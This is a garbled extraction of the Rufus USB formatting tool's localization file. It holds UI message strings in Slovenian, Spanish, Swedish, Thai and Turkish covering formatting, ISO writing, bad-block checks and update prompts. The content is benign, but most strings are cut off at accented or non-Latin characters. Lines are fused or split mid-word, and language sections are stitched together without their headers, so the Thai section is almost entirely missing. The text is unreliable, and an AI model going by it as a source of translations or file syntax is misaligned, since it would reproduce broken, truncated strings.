t MSG_240 "Prenos %s: povezovanje
t MSG_241 "Prenos: %0.1f%%"
t MSG_242 "Ni mogo
t MSG_243 "Preverjam za posodobitve Rufusa
t MSG_244 "Posodobitve: ni se mogo
t MSG_245 "Posodobitve: ni mogo
t MSG_246 "Nova verzija Rufusa je na voljo!"
t MSG_247 "Najdena ni bila nobena novej
t MSG_248 "Registrski klju
t MSG_249 "Brisanje registrskih klju
t MSG_250 "%s: omogo
t MSG_251 "%s: onemogo
t MSG_252 "Preverjanje velikosti"
t MSG_253 "Zaznava trdih diskov"
t MSG_254 "Prisili v
t MSG_255 "NoDriveTypeAutorun bo izbrisan ob izhodu"
t MSG_256 "Zaznava la
t MSG_257 "Podpora za Joliet"
t MSG_258 "Podpora za Rock Ridge"
t MSG_259 "Prisili posodobitev"
t MSG_260 "NTFS stiskanje"
t MSG_261 "Zapisujem sliko: %0.1f%%"
t MSG_262 "Podpora za slike ISO"
t MSG_263 "Uporabi enote PRAVIH velikosti"
em imenik %s"
t MSG_265 "Zaznavanje diskov VMware"
t MSG_266 "Dvojni na
t MSG_267 "Name
am sliko za Windows: %0.1f%%"
t MSG_268 "Name
am sliko za Windows
t MSG_269 "Ohranjanje
t MSG_270 "Razhro
t MSG_273 "Spremeni jezik aplikacije"
t MSG_274 "Zaznana je bila slika ISOHybrid"
t MSG_275 "Slika, ki ste jo izbrali, je vrste \"ISOHybrid\". To pomeni, da jo lahko zapi
"%s (s kopiranjem datotek) ali pa kot %s (s kopiranjem cele slike).\n"
ete kot %s, tako da boste imeli poln dostop do nosilca, ko bo slika zapisana.\n"
ete kot %s..\n\n"
t MSG_276 "Zapi
i kot %s (priporo
t MSG_277 "Zapi
i kot %s"
t MSG_278 "Na
t MSG_279 "Nezagonska"
t MSG_280 "Izbira slike"
t MSG_281 "(Izberite sliko)"
t MSG_282 "Ekskluzivno zaklepanje nosilca USB"
t MSG_283 "Neveljaven podpis"
t MSG_284 "Prenesena datoteka nima digitalnega podpisa."
t MSG_285 "Oseba, ki je podpisala preneseno datoteko, je '%s'.\nTa podpis se ne ujema s pri
t IDC_WEBSITE "Haga clic aqu
t MSG_001 "Se detect
t MSG_002 "Ya hay una intancia de Rufus ejecut
t MSG_003 "ADVERTENCIA: TODOS LOS DATOS EN %s SER
"Para seguir adelante, haga clic en OK. Para detener la operaci
t MSG_004 "Actualizaci
t MSG_006 "Cerrar"
t MSG_010 "Se encontraron bloques defectuosos"
t MSG_011 "Verificaci
n completa: se encontraron %d bloques da
" %d errores de lectura\n %d errores de escritura\n %d errores de corrupci
t MSG_012 "%s\nEl informe detallado se puede encontrar en:\n%s"
t MSG_014 "Diario"
t MSG_016 "Mensualmente"
t MSG_018 "Su versi
n: %d.%d (Build %d)"
t MSG_029 "Por defecto"
t MSG_030 "%s (Por defecto)"
t MSG_031 "Tipo de partici
n %s para BIOS o %s"
t MSG_032 "Tipo de partici
n %s para BIOS"
t MSG_033 "Tipo de partici
n %s para UEFI"
t MSG_034 "%d paso"
t MSG_035 "%d pasos"
t MSG_036 "Imagen ISO"
t MSG_037 "Aplicaci
t MSG_039 "Lanzar"
t MSG_040 "Descargar"
t MSG_041 "Operaci
t MSG_044 "Descarga de archivo"
t MSG_045 "Dispositivo de almacenamiento USB (Gen
t MSG_047 "Particiones m
t MSG_048 "Rufus - Purgando los buffers"
t MSG_049 "Rufus - Cancelaci
t MSG_051 "Error indeterminado durante el formateo."
t MSG_052 "No se puede usar el sistema de archivos seleccionado para este dispositivo."
t MSG_053 "No se permite el acceso al dispositivo."
t MSG_054 "El dispositivo est
t MSG_055 "El dispositivo est
t MSG_056 "El formateo r
t MSG_057 "La etiqueta de volumen no es v
t MSG_058 "El gestor de dispositivo no es v
t MSG_059 "El tama
t MSG_060 "El tama
t MSG_061 "Inserte un dispositivo en el lector."
t MSG_062 "Comando no soportado."
t MSG_063 "Error en la asignaci
t MSG_064 "Error de lectura."
t MSG_065 "Error de escritura."
t MSG_066 "Fallo en la instalaci
t MSG_067 "Imposible abrir el medio - otro proceso lo est
t MSG_068 "Error al particionar la unidad."
t MSG_069 "No se pudieron copiar los archivos al dispositivo destino."
t MSG_070 "Cancelado por el usuario."
t MSG_071 "No se pudo crear el hilo."
t MSG_072 "La verificaci
t MSG_073 "Fall
t MSG_074 "Fall
t MSG_075 "No se pudo volver a montar el volumen."
t MSG_076 "Imposible arreglar/configurar ficheros de arranque."
t MSG_077 "No se pudo asignar una letra de unidad."
t MSG_078 "No se pudo montar el volumen GUID."
t MSG_079 "El dispositivo no est
t MSG_080 "Rufus detect
que Windows a
"Dependiendo de la velocidad de su dispositivo USB, esta operaci
"especialmente para archivos grandes.\n\nRecomendamos que se deje a Windows terminar para que se corrompa la integridad del USB; "
t MSG_081 "Tipo de imagen no soportada"
t MSG_082 "Esta imagen ISO, o no es autoarrancable, o usa un m
n que no es soportado por Rufus..."
Reemplazar %s?"
t MSG_084 "Esta imagen ISO parece que usa una versi
n obsoleta del archivo '%s'.\n"
"un archivo\n '%s' exista ah
t MSG_085 "Descargando %s"
t MSG_086 "No hay imagen ISO seleccionada"
t MSG_087 "Presione en el bot
t MSG_088 "Imagen ISO demasiado grande"
t MSG_089 "La imagen ISO es demasiado grande para el destino seleccionado."
t MSG_090 "ISO no soportado"
t MSG_091 "Cuando se usa UEFI como tipo de destino, s
lo se soportan im
t MSG_092 "Sistema de archivos no soportado"
IMPORTANTE: ESTE DISCO CONTIENE M
menes no mostrados o incluso visibles por Windows. "
t MSG_094 "Detectadas m
t MSG_095 "Imagen DD"
t MSG_096 "El sistema de ficheros seleccionado no puede usarse con este tipo de imagen ISO "
intentando instalar 'Windows To Go', pero la unidad destino no "
"tiene el atributo 'FIXED' (fijo). Debido a esto es muy probable que Windows se detenga en el arranque "
t MSG_099 "Limitaci
t MSG_100 "Esta imagen ISO contiene un archivo de m
t MSG_101 "El soporte para archivos WIM no est
t MSG_102 "Su plataforma no puede extraer archivos de ficheros comprimidos WIM. La extracci
"es necesaria para crear dispositivos USB arrancables tipo EFI con Windows 7 y Windows Vista. "
Desea visitar la web de descargas de 7-zip?"
Descargar %s?"
t MSG_104 "%s o posterior requiere que est
instalado un archivo '%s' .\n"
genes ISO %s, Rufus no lo incluye en su distribuci
"el \n archivo '%s' ah
t MSG_105 "Cancelar ahora puede dejar el dispositivo en un estado INUTILIZABLE.\n"
t MSG_106 "Seleccione una carpeta"
t MSG_107 "Todos los archivos"
t MSG_110 "MS-DOS no puede arrancar desde un disco con un tama
t MSG_111 "Tama
t MSG_112 "Formatear un volumen UDF de gran tama
"el tiempo estimado de formateo es %d:d, durante el cual la barra de progreso parecer
t MSG_113 "Volumen UDF de gran tama
t MSG_114 "Esta imagen usa Syslinux %s%s pero este programa s
"Syslinux %s%s. \n\n Debido a que las nuevas versiones de Syslinux no son compatibles entre si, y no es posible"
"para Rufus incluirlas todas, se deben descargar dos ficheros adicionales de internet ('ldlinux.sys' y 'ldlinux.bss'):\n"7"- Elije 'No' para cancelar la operaci
t MSG_115 "Descarga requerida"
t MSG_116 "Esta imagen hace uso de Grub %s pero este programa s
"Grub %s.\n\n Debido a que las diferentes versiones de Grub no son compatibles entre ellas, y no es posible"
n de Grub 'core.img' que"
"- Elija 'Cancelar' para cancelar la operaci
t MSG_150 "Generalmente la opci
"un sistema operativo en modo EFI, debe seleccionar una de las otras opciones"
t MSG_151 "Use esta opci
n si quiere instalar un sistema operativo en modo EFI, pero desea poder acceder "
"al contenido del USB desde Windows XP"
t MSG_152 "La opci
n preferida para instalar un sistema operativo en modo EFI y "
"no se necesita leer el dispositivo USB desde Windows XP"
t MSG_153 "Patr
n de pruebas: 0xX"
t MSG_154 "Patr
n de pruebas: 0xX, 0xX"
t MSG_155 "Patr
n de pruebas: 0xX, 0xX, 0xX"
t MSG_156 "Patr
n de pruebas: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Seleccione el sistema de archivos destino"
t MSG_158 "Tama
t MSG_159 "Use este campo para establecer el nombre del volumen\nSe aceptan caracteres internacionales"
t MSG_160 "Mostrar opciones avanzadas"
t MSG_161 "Revisa el dispositivo buscando bloques defectuosos aplicando un patr
t MSG_162 "Desmarque esta opci
t MSG_163 "Marque esta opci
t MSG_165 "Haga clic para seleccionar una imagen ISO..."
t MSG_166 "Seleccione esta opci
"y establecer un icono para la unidad (crea un archivo autorun.inf)"
t MSG_167 "Instala un MBR que permite seleccionar el dispositivo de arranque y puede enmascarar "
t MSG_168 "Trata de enmascarar el primer dispositivo USB de arranque (normalmente 0x80) como un disco diferente.\n"
lo debiera ser necesario si instala Windows XP y tiene m
t MSG_169 "Crea una partici
t MSG_170 "Activa la detecci
t MSG_171 "Comienza la operaci
t MSG_172 "Informaci
t MSG_173 "Haga clic para seleccionar..."
t MSG_174 "Rufus - La fiable herramienta de formateo de USBs"
t MSG_175 "Versi
n %d.%d (Build %d)"
t MSG_176 "Traducci
Pineda <mailto:battletroll@gmail.com>\\line\n"
"\\tab\\tab\\tab MaKK <mailto:jordikab@gmail.com>"
t MSG_177 "Para indicar fallos o sugerir mejoras, dir
t MSG_178 "Derechos de autor adicionales:"
t MSG_179 "Pol
t MSG_180 "Si usted autoriza que este programa busque e instale actualizaciones por s
t MSG_181 "Arquitectura y versi
n de su sistema operativo"
t MSG_182 "La versi
t MSG_183 "Su direcci
t MSG_184 "A fin de generar estad
t MSG_185 "Proceso de actualizaci
t MSG_186 "Rufus no instala ni ejecuta ning
t MSG_187 "Imagen ISO no v
t MSG_188 "La imagen actual no coincide con la opci
t MSG_189 "Esta imagen ISO no es compatible con el sistema de archivos seleccionado"
t MSG_190 "Dispositivo incompatible detectado"
t MSG_191 "Barrido de escritura"
t MSG_192 "Barrido de lectura"
t MSG_193 "Descargado %s"
t MSG_194 "No ha podido descargar %s"
t MSG_195 "Usando la versi
n integrada de/los fichero/s %s "
IMPORTANTE: ESTE DISPOSITIVO USA UN TAMA
o de %d bytes."
t MSG_197 "Detectado tama
t MSG_198 "'Windows To Go' s
t MSG_199 "Elija esta opci
n si pretende instalar Windows en otro disco, usando el dispositivo seleccionado como medio de instalaci
t MSG_200 "Elija esta opci
n si desea iniciar Windows directamente desde el dispositivo seleccionado."
t MSG_202 "Analizando la imagen ..."
t MSG_203 "Fallo al analizar la imagen "
t MSG_204 "El archivo %s est
t MSG_205 "Usando la imagen ISO: %s"
t MSG_206 "Falta el archivo %s"
t MSG_207 "Etiqueta del volumen"
t MSG_210 "LISTO"
t MSG_211 "CANCELADO"
t MSG_212 "FALLO al realizar la operaci
t MSG_213 "Lanzando la nueva aplicaci
t MSG_214 "Error al lanzar la nueva aplicaci
t MSG_215 "%s abierto"
t MSG_217 "Formateando: %0.1f%% completo"
t MSG_218 "Creando sistema de archivos: Tarea %d/%d completa"
t MSG_219 "Arreglos en NTFS: %d%% completo"
t MSG_220 "Formateando (%s) - duraci
n estimada %d:d..."
t MSG_221 "Escribiendo la etiqueta del volumen (puede tardar un rato)..."
t MSG_222 "Formateando (%s)..."
t MSG_223 "Arreglos en NTFS (Checkdisk)..."
t MSG_224 "Limpiando las estructuras MBR/PBR/GPT..."
t MSG_225 "Solicitando acceso al disco..."
t MSG_226 "Analizando las estructuras de arranque existentes..."
t MSG_227 "Cerrando el volumen existente..."
t MSG_228 "Escribiendo el registro maestro de arranque (Master Boot Record)..."
t MSG_229 "Escribiendo el registro de arranque de la partici
t MSG_230 "Copiando archivos DOS..."
t MSG_231 "Copiando archivos ISO..."
t MSG_232 "Configuraci
t MSG_233 "Finalizando, por favor espere..."
t MSG_234 "Instalando Syslinux %s..."
t MSG_235 "Bloques da
ados: %s %d/%d - %0.2f%% (%d/%d/%d errores)"
t MSG_236 "Bloques da
t MSG_237 "Bloques da
n 0xX"
t MSG_238 "Particionando (%s)..."
t MSG_239 "Borrando particiones..."
t MSG_240 "Descargando %s: Conectando..."
t MSG_241 "Descargando: %0.1f%%"
t MSG_242 "Error al descargar el archivo."
t MSG_243 "Buscando actualizaciones de Rufus..."
t MSG_244 "Actualizaciones: No es posible conectarse a Internet"
t MSG_245 "Actualizaciones: No es posible acceder a la informaci
t MSG_247 "No hay nuevas versiones de Rufus"
t MSG_248 "Claves de la aplicaci
t MSG_249 "No se han podido eliminar las claves de la aplicaci
t MSG_250 "%s activado"
t MSG_251 "%s desactivado"
t MSG_252 "Verificaci
t MSG_253 "Detecci
t MSG_254 "Forzar formateo FAT32 largo"
t MSG_255 "Se eliminar
t MSG_256 "Simulaci
t MSG_257 "Soporte a Joliet"
t MSG_258 "Soporte a Rock Ridge"
t MSG_259 "Forzar actualizaci
t MSG_260 "Compresi
t MSG_261 "Escribiendo imagen: %0.1f%% completada"
t MSG_262 "Soporte ISO"
t MSG_263 "Usar tama
t MSG_264 "Eliminando directorio '%s'"
t MSG_265 "Detecci
t MSG_266 "Modo dual EFI/BIOS"
t MSG_267 "Aplicando imagen Windows: %0.1f%% completedo"
t MSG_268 "Aplicando imagen Windows..."
t MSG_269 "Mantener la informaci
t MSG_270 "Depuraci
t MSG_271 "Calculando checksums de la imagen: %0.1f%% completado"
t MSG_272 "Calcular los checksums MD5, SHA1 y SHA256 para la imagen seleccionada"
t MSG_273 "Cambiar idioma"
t MSG_274 "Imagen ISOHybrid detectada"
t MSG_275 "La im
"%s (copia de fichero) o modo %s (imagen de disco).\n"
"Rufus recomienda usar el modo %s , as
"Sin embargo, si encuentra problemas durante el arranque, puede intentar escribir de nuevo esta imagen en modo %s.\n\n"
t MSG_276 "Escribir en modo %s (Recomendado)"
t MSG_277 "Escribir en modo %s"
t MSG_279 "No autoarrancable"
t MSG_280 "Selecci
t MSG_281 "(Por favor seleccione una imagen)"
t MSG_282 "Dispositivo USB bloqueado de forma exclusiva"
t MSG_283 "Firma no v
t MSG_284 "El ejecutable descargado carece de firma digital."
t MSG_285 "El ejecutable descargado est
firmado por '%s'.\nNo reconocemos este tipo de firma y podr
t IDC_WINDOWS_INSTALL "Standard Windowsinstallation"
m IDC_NBPASSES 50,0
t IDC_WEBSITE "Tryck h
t MSG_001 "Program redan i g
t MSG_002 "Rufus k
t MSG_003 "VARNING: ALL DATA P
ENHETEN '%s'\nKOMMER ATT F
t MSG_004 "Rufus uppdateringspolicy"
t MSG_005 "Till
t MSG_006 "St
t MSG_010 "Trasiga block funna"
t MSG_011 "Kontroll klar: %d trasiga block funna\n"
sfel\n %d skrivfel\n %d korruptionsfel\n"
t MSG_012 "%s\nEn mer detaljerad rapport hittar du i:\n%s"
t MSG_013 "Inaktiverad"
t MSG_014 "Dagligen"
t MSG_015 "Veckovis"
t MSG_017 "Egen"
t MSG_019 "Senaste version: %d.%d (Build %d)"
t MSG_031 "%s partitionsschema f
r BIOS eller %s"
t MSG_032 "%s partitionsschema f
t MSG_033 "%s partitionsschema f
t MSG_034 "%d g
t MSG_035 "%d g
t MSG_036 "ISO-avbild"
t MSG_037 "Program"
t MSG_039 "Starta"
t MSG_040 "Nedladdning"
t MSG_041 "Operationen avbr
t MSG_042 "Fel"
t MSG_043 "Fel: %s"
t MSG_044 "Filnedladdning"
t MSG_047 "Flera partitioner"
t MSG_050 "Lyckades."
t MSG_051 "Obest
t MSG_052 "Kan inte anv
t MSG_054 "Mediet
t MSG_055 "Enheten anv
t MSG_056 "Enheten g
t MSG_057 "Volymens namn
t MSG_058 "Hantering av enheten
t MSG_059 "Klusterstorlek
t MSG_060 "Volymens storlek
t MSG_061 "S
t MSG_062 "Tog emot ett ogiltigt kommando."
t MSG_063 "Minnesfel."
t MSG_065 "Skrivfel."
t MSG_066 "Installationsfel"
t MSG_067 "Kunde inte
t MSG_068 "Fel n
t MSG_069 "Kunde inte kopiera filer till m
t MSG_070 "Avbruten av anv
t MSG_071 "Kunde inte starta tr
t MSG_072 "Kontroll efter trasiga block slutf
t MSG_073 "Misslyckades s
t MSG_074 "Misslyckades packa upp ISO-avbilden."
t MSG_075 "Kunde inte
t MSG_076 "Kunde inte installera filer f
t MSG_077 "Kunde inte tilldela enhetsbokstav."
t MSG_078 "Kan inte montera GUID-volymen."
t MSG_079 "Enheten
t MSG_080 "Rufus har uppt
ckt att Windows fortfarande t
ter Windows f
t MSG_081 "avbilden st
t MSG_082 "Denna avbild
t MSG_083 "Ers
tt %s?"
t MSG_084 "Denna ISO-avbild verkar anv
nda en gammal version av '%s'.\n"
"'%s' sedan finns d
t MSG_085 "Laddar ned %s"
t MSG_086 "Ingen avbild vald"
t MSG_087 "Tryck p
t MSG_088 "Avbilden
t MSG_089 "Avbilden
t MSG_090 "ISO-filen st
t MSG_092 "Filsystemet st
t MSG_093 "VIKTIGT: DENNA ENHETEN INNEH
r listade eller synliga i Windows. "
t MSG_094 "Flera partitioner uppt
t MSG_095 "DD-avbild"
t MSG_096 "Det valda filsystemet kan inte anv
t MSG_097 "'%s' kan endast till
t MSG_098 "VIKTIGT: Du f
ker att installera 'Windows To Go', men din m
r kommer troligen Windows att l
t MSG_099 "Begr
t MSG_100 "Denna ISO-avbild inneh
t MSG_101 "St
t MSG_102 "Din dator kan inte packa upp filer fr
r att skapa EFI-startbar Windows 7 och Windows Vista USB-enheter. Du kan l
t MSG_103 "Ladda ned %s?"
t MSG_104 "%s eller senare kr
ver en '%s' fil f
%s ISO-avbilder, "
t MSG_105 "Avbryter du, finns det risk enheten blir oanv
t MSG_107 "Alla filer"
t MSG_110 "MS-DOS kan inte starta fr
t MSG_111 "Klusterstorlek st
t MSG_112 "Att formatera en stor UDF-volym kan ta l
"tiden runt %d:d, och under tiden kan f
t MSG_113 "Stor UDF-volym"
t MSG_114 "Denna avbild anv
nder Syslinux %s%s men detta programmet inneh
"Syslinux %s%s.\n\nEftersom nya versioner av Syslinux inte
"internet ('ldlinux.sys' och 'ldlinux.bss'):\n"t MSG_115 "Nedladdning kr
t MSG_116 "Denna avbild anv
nder Grub %s men programmet inneh
"Grub %s.\n\nEftersom olika Grub-versioner inte
"installationsfilen ('core.img') som matchar den frt MSG_150 "Oftast det s
t MSG_151 "Anv
t MSG_152 "Det optimala valet f
t MSG_153 "Testm
t MSG_154 "Testm
t MSG_155 "Testm
t MSG_156 "Testm
t MSG_157 "St
t MSG_158 "Minsta storlek som ett block av data kommer att ta plats i filsystemet"
t MSG_159 "Anv
t MSG_160 "Visa/G
t MSG_161 "Kontrollera enheter om den har trasiga block genom att k
t MSG_162 "Avmarkera om du vill anv
t MSG_163 "Markera f
t MSG_164 "Metod som kommer att anv
t MSG_165 "Klicka f
t MSG_166 "Markera f
tt en enhetsikon (en autorun.inf skapas)"
t MSG_167 "Installera en MBR som till
t MSG_168 "Prova att maskera bort den f
ndigt om du installerar Windows XP och du har mer
t MSG_169 "Skapa en extra g
t MSG_170 "Lista alla USB-h
t MSG_171 "Starta formateringen.\nDetta kommer att RADERA all data p
t MSG_172 "Licensinformation och ber
t MSG_173 "Tryck f
t MSG_176 "Svensk
ttning: Sopor <mailto:sopor@hotmail.com>"
t MSG_177 "Rapportera fel eller om du har n
t MSG_178 "Andra upphovsr
t MSG_179 "Uppdateringspolicy:"
t MSG_180 "Om du v
t MSG_181 "Information om ditt operativsystem och version"
t MSG_182 "Version p
t MSG_183 "Din IP-adress"
t MSG_184 "F
t MSG_185 "Uppdateringsprocess:"
t MSG_186 "Rufus installerar inga bakgrundsprogram, d
vs naturligtvis internettillg
t MSG_187 "Ogiltig avbild f
t MSG_188 "Nuvarande avbild matchar inte det startbara valet. V
t MSG_189 "Denna ISO-avbild
t MSG_190 "Enheten
t MSG_191 "Skrivf
t MSG_193 "Nedladdad %s"
t MSG_194 "Kunde inte ladda ned %s"
t MSG_195 "Anv
nder den inbyggda versionen av %s fil(er)"
t MSG_196 "VIKTIGT: DENNA ENHET ANV
nder %d-byte. "
t MSG_197 "En icke standard sektorstorlek uppt
t MSG_198 "'Windows To Go' kan endast installeras p
lj detta alternativ om du planerar att installera Windows till en annan enhet och du anv
ra Windows direkt fr
t MSG_201 "Avbryter - V
t MSG_202 "S
t MSG_203 "Misslyckades att s
t MSG_204 "Uppt
ckte en gammal %s"
t MSG_205 "Anv
nder avbild: %s"
t MSG_206 "Fil %s saknas"
t MSG_207 "Ny volym"
t MSG_208 "Hittade %d enhet"
t MSG_209 "Hittade %d enheter"
t MSG_210 "REDO"
t MSG_211 "Avbruten"
t MSG_212 "MISSLYCKADES"
t MSG_213 "Startar uppdaterad version..."
t MSG_214 "Kunde inte starta den nya versionen"
ppnad %s"
t MSG_216 "Sparad %s"
t MSG_217 "Formaterar: %0.1f%% klart"
t MSG_218 "Skapar filsystem: Uppgift %d/%d klart"
t MSG_219 "NTFS-Fixup: %d%% klart"
t MSG_220 "Formaterar (%s) - ber
knad tid %d:d..."
t MSG_221 "Skriver etikett (detta kan ta l
t MSG_222 "Formaterar (%s)..."
t MSG_223 "NTFS-Fixup (Checkdisk)..."
t MSG_224 "Rensar MBR/PBR/GPT strukturer..."
t MSG_225 "Beg
t MSG_226 "Analyserar nuvarande startsektor..."
t MSG_227 "St
t MSG_228 "Skriver huvudstartsektor..."
t MSG_229 "Skriver partitionsstartsektor..."
t MSG_230 "Kopierar DOS-filer..."
t MSG_231 "Kopierar ISO-filer..."
t MSG_232 "Win7 EFI boot setup (detta kan ta l
t MSG_233 "Slutbehandlar, v
t MSG_234 "Installerar Syslinux %s..."
t MSG_235 "Trasiga block: %s %d/%d - %0.2f%% (%d/%d/%d fel)"
t MSG_236 "Trasiga block: Testar med varierande m
t MSG_237 "Trasiga block: Testar med m
t MSG_238 "Partitionerar (%s)..."
t MSG_239 "Raderar partitioner..."
t MSG_240 "Laddar ned %s: Ansluter..."
t MSG_241 "Laddar ned: %0.1f%%"
t MSG_242 "Kunde inte ladda ned filen."
t MSG_243 "Kontrollerar efter Rufus uppdateringar..."
t MSG_244 "Uppdateringar: Kunde inte ansluta till internet"
t MSG_245 "Uppdateringar: Har ingen tillg
t MSG_246 "Det finns en ny version av Rufus!"
t MSG_247 "Det finns ingen ny version av Rufus"
t MSG_248 "Programmets registernycklar har tagits bort"
t MSG_249 "Kunde inte radera programmets registernycklar"
t MSG_250 "%s aktiverad"
t MSG_251 "%s inaktiverad"
t MSG_252 "Storlekskontrollen
t MSG_253 "H
t MSG_254 "Tvinga formatera 'large FAT32'
t MSG_255 "NoDriveTypeAutorun kommer att raderas vid avslut"
t MSG_256 "Uppt
t MSG_257 "Joliet-st
t MSG_258 "Rock Ridge-st
t MSG_259 "Tvinga uppdatering
t MSG_260 "NTFS-kompressionen
t MSG_261 "Skriver avbild: %0.1f%% klart"
t MSG_262 "ISO-st
t MSG_263 "Anv
t MSG_264 "Tar bort katalogen '%s'"
t MSG_265 "VMWare diskdetekteringen
t MSG_266 "Dubbla UEFI/BIOS-l
t MSG_267 "Till
mpar Windows-avbild: %0.1f%% klart"
t MSG_268 "Till
mpar Windows-avbild..."
t MSG_269 "Bevara datum och tid
t MSG_270 "USB-fels
t MSG_271 "Ber
t MSG_272 "Ber
t MSG_274 "Avbilden
t MSG_275 "Avbilden du har valt
ge %s (filkopiering) eller i l
ge %s (disk-avbild).\n"
ge %s anv
ge %s.\n\n"
t MSG_276 "Skriv i l
ge %s (Rekommenderas)"
t MSG_277 "Skriv i l
ge %s"
t MSG_278 "Starttyp"
t MSG_279 "Icke startbar"
t MSG_280 "Avbildsv
t MSG_282 "Exklusiv l
t MSG_283 "Ogiltig signatur"
t MSG_284 "Den nedladdade k
t MSG_285 "Den nedladdade k
r signerad av '%s'.\nDetta
t MSG_001 "Rufus
t MSG_084 "ISO
Windows "
"Syslinux %s%s \n\n
" ('ldlinux.sys' and 'ldlinux.bss'):\n""Grub %s \n\n
" ('core.img')autorun.inf
: Sippapas Wangsri <mailto:sippapas_w@cmu.ac.th>"
t MSG_183 "IP address
t MSG_189 "ISO
%d-byte"
NTFS: %d%%"
: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_248 "Registry keys
Registry Keys
Windows: %0.1f%%"
%s (file copy)
%s (disk image)\n"
t MSG_286 "Zeroing drive: %0.1f%%"
t IDC_WEBSITE "Websitesine gitmek i
t MSG_001 "Rufus'un zaten
t MSG_003 "UYARI: '%s' AYGITINDAK
t MSG_004 "Rufus g
t MSG_005 "Rufus'un uygulama g
t MSG_006 "Kapat"
t MSG_007 "Vazge
t MSG_008 "Evet"
t MSG_009 "Hay
t MSG_010 "Hatal
t MSG_011 "Denetim Tamamland
: %d hatal
" %d okuma hatas
\n %d yazma hatas
\n %d hata olu
t MSG_012 "%s\nDaha ayr
rapor burada:\n%s"
t MSG_013 "Devred
t MSG_015 "Haftal
t MSG_018 "Mevcut S
m: %d.%d (Yap
t MSG_019 "En son s
t MSG_029 "Varsay
t MSG_030 "%s (Varsay
t MSG_031 "%s B
zeni: BIOS ya da %s i
t MSG_032 "BIOS i
in %s B
t MSG_033 "UEFI i
t MSG_034 "%d Ge
t MSG_035 "%d Ge
t MSG_036 "ISO Yans
t MSG_037 "Uygulama"
t MSG_038 "Vazge
t MSG_041 "Kullan
t MSG_042 "Hata"
t MSG_043 "Hata: %s"
t MSG_044 "Dosya indirme"
t MSG_045 "USB Depolama Ayg
t MSG_048 "Rufus - Tamponlan
t MSG_049 "Rufus - Vazge
t MSG_050 "Ba
t MSG_051 "Bi
t MSG_053 "Ayg
t MSG_054 "Medya yazma korumal
t MSG_055 "Ayg
t MSG_056 "Bu ayg
t MSG_057 "Birim etiketi ge
t MSG_058 "Ayg
t MSG_060 "Birim boyutu ge
t MSG_062 "Destelenmeyen bir komut al
t MSG_063 "Bellek ay
t MSG_064 "Okuma Hatas
t MSG_065 "Yazma Hatas
t MSG_067 "Medya a
t MSG_069 "Dosyalar hedef s
t MSG_070 "Kullan
t MSG_072 "Hatal
t MSG_073 "ISO yans
t MSG_074 "ISO yans
t MSG_075 "Birim yeniden yerle
t MSG_078 "GUID birimi yerle
t MSG_079 "Ayg
t MSG_080 "Rufus Windows'un USB ayg
in Windows'un i
t MSG_081 "Desteklenmeyen Yans
t MSG_082 "Bu yans
t MSG_083 "%s yerde
t MSG_084 "Bu ISO yans
'%s'in eski bir s
"'%s' orda varolunca, otomatik olarak kullan
t MSG_085 "%s indiriliyor"
t MSG_086 "Yans
t MSG_088 "Yans
t MSG_089 "Yans
t MSG_090 "Desteklenmeyen ISO"
t MSG_091 "EFI Hedef T
t MSG_092 "Desteklenmeyen Dosya Sistemi"
"Listelenmeyen ya da Windows'un g
t MSG_095 "DD Yans
t MSG_096 "Mevcut se
t MSG_097 "'%s' sadece dosya sistemi NTFS ise uygulanabilir."
: 'Windows To Go' y
t MSG_099 "Dosya Sistemi S
t MSG_100 "Bu ISO yans
t MSG_101 "Eksik WIM deste
t MSG_102 "Platformunuz WIM ar
labilir Windows 7 ve Windows Vista USB s
t MSG_103 "%s indirilsin mi?"
t MSG_104 "%s yada daha
in '%s' dosyas
r ve %s ISO yans
"'%s' orda varolunca, otomatik olarak kullan
t MSG_105 "Vazge
t MSG_107 "T
t MSG_111 "Uyumsuz Ay
resi %d:d,
t MSG_114 "Bu yans
ma Syslinux %s%s kullan
z Syslinux %s%s i
n('ldlinux.sys' ve 'ldlinux.bss') internett MSG_116 "Bu yans
ma Grub %s kullan
z Grub %s i
"('core.img') edinmeyit MSG_150 "Genellikle en g
t MSG_151 "Bir i
ine Windows XP den eri
t MSG_152 "Bir i
in ve Windows XP i
t MSG_153 "Kal
Dene: 0xX"
t MSG_154 "Kal
Dene: 0xX, 0xX"
t MSG_155 "Kal
Dene: 0xX, 0xX, 0xX"
t MSG_156 "Kal
Dene: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Hedef Dosya Sistemini Ayarlar"
t MSG_158 "Dosya sisteminde tutulacak en k
t MSG_159 "Bu alan
t MSG_160 "Geli
t MSG_161 "Kal
t MSG_165 "Yans
t MSG_166 "Uluslararas
t simgesini belirleyin (autorun.inf olu
"Bu sadece Windows XP y
t MSG_169 "Ekstra gizli bir b
t MSG_171 "Bi
t MSG_172 "Lisans bilgisi ve Eme
t MSG_174 "Rufus - G
t MSG_175 "S
m %d.%d (Yap
t MSG_176 "T
eviri: Mehmetali KURAN <mailto:mehmetalikuran@gmail.com>"
t MSG_177 "Hatalar
t MSG_178 "Ek Telif Haklar
t MSG_179 "G
t MSG_180 "Programa g
t MSG_182 "Kulland
t MSG_185 "G
t MSG_186 "G
t MSG_188 "Mevcut yans
t MSG_189 "Bu ISO yans
t MSG_190 "Uyumsuz s
t MSG_191 "Yazma ge
t MSG_192 "Okuma ge
t MSG_193 "%s indirildi"
t MSG_194 "%s indirilemedi"
t MSG_195 "%s dosyalar
%d-byte kullan
t MSG_197 "Standart olmayan sekt
t MSG_200 "Windows'u do
t MSG_201 "Vazge
t MSG_202 "Yans
t MSG_203 "Yans
t MSG_204 "Eski %s alg
t MSG_205 "Kullan
ma: %s"
t MSG_206 "Eksik %s dosyas
t MSG_207 "Yeni Birim"
t MSG_208 "%d ayg
t MSG_209 "%d ayg
t MSG_210 "HAZIR"
t MSG_211 "Vazge
t MSG_212 "BA
t MSG_213 "Yeni uygulama ba
t MSG_214 "Yeni uygulama ba
t MSG_216 "%s Kaydedildi"
t MSG_217 "Bi
t MSG_218 "Dosya sistemi olu
rev %d/%d tamamland
zeltme: %d%% tamamland
t MSG_220 "Bi
imlendiriliyor (%s) - Tahmini S
re %d:d..."
t MSG_221 "Etiket Ayarlan
t MSG_222 "Bi
imlendiriliyor (%s)..."
t MSG_224 "MBR/PBR/GPT yap
t MSG_225 "Disk eri
t MSG_226 "Varolan a
t MSG_227 "Varolan birim kapat
t MSG_230 "DOS Dosyalar
t MSG_231 "ISO Dosyalar
t MSG_233 "Bitiriliyor, L
t MSG_235 "Hatal
